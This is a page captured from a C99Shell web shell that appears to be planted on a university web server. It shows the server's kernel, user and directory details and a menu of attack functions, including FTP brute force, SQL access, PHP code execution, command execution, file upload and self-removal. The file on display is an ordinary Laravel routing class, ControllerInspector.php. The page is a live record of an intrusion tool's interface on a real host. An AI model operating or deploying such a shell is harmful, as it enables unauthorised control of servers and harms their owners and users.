!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ControllerInspector.php (3.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
ReflectionClass;
use 
ReflectionMethod;
use 
Illuminate\Support\Str;

/**
 * @deprecated since version 5.2.
 */
class ControllerInspector
{
    
/**
     * An array of HTTP verbs.
     *
     * @var array
     */
    
protected $verbs = [
        
'any''get''post''put''patch',
        
'delete''head''options',
    ];

    
/**
     * Get the routable methods for a controller.
     *
     * @param  string  $controller
     * @param  string  $prefix
     * @return array
     */
    
public function getRoutable($controller$prefix)
    {
        
$routable = [];

        
$reflection = new ReflectionClass($controller);

        
$methods $reflection->getMethods(ReflectionMethod::IS_PUBLIC);

        
// To get the routable methods, we will simply spin through all methods on the
        // controller instance checking to see if it belongs to the given class and
        // is a publicly routable method. If so, we will add it to this listings.
        
foreach ($methods as $method) {
            if (
$this->isRoutable($method)) {
                
$data $this->getMethodData($method$prefix);

                
$routable[$method->name][] = $data;

                
// If the routable method is an index method, we will create a special index
                // route which is simply the prefix and the verb and does not contain any
                // the wildcard place-holders that each "typical" routes would contain.
                
if ($data['plain'] == $prefix.'/index') {
                    
$routable[$method->name][] = $this->getIndexData($data$prefix);
                }
            }
        }

        return 
$routable;
    }

    
/**
     * Determine if the given controller method is routable.
     *
     * @param  \ReflectionMethod  $method
     * @return bool
     */
    
public function isRoutable(ReflectionMethod $method)
    {
        if (
$method->class == 'Illuminate\Routing\Controller') {
            return 
false;
        }

        return 
Str::startsWith($method->name$this->verbs);
    }

    
/**
     * Get the method data for a given method.
     *
     * @param  \ReflectionMethod  $method
     * @param  string  $prefix
     * @return array
     */
    
public function getMethodData(ReflectionMethod $method$prefix)
    {
        
$verb $this->getVerb($name $method->name);

        
$uri $this->addUriWildcards($plain $this->getPlainUri($name$prefix));

        return 
compact('verb''plain''uri');
    }

    
/**
     * Get the routable data for an index method.
     *
     * @param  array   $data
     * @param  string  $prefix
     * @return array
     */
    
protected function getIndexData($data$prefix)
    {
        return [
'verb' => $data['verb'], 'plain' => $prefix'uri' => $prefix];
    }

    
/**
     * Extract the verb from a controller action.
     *
     * @param  string  $name
     * @return string
     */
    
public function getVerb($name)
    {
        return 
head(explode('_'Str::snake($name)));
    }

    
/**
     * Determine the URI from the given method name.
     *
     * @param  string  $name
     * @param  string  $prefix
     * @return string
     */
    
public function getPlainUri($name$prefix)
    {
        return 
$prefix.'/'.implode('-'array_slice(explode('_'Str::snake($name)), 1));
    }

    
/**
     * Add wildcards to the given URI.
     *
     * @param  string  $uri
     * @return string
     */
    
public function addUriWildcards($uri)
    {
        return 
$uri.'/{one?}/{two?}/{three?}/{four?}/{five?}';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0287 ]--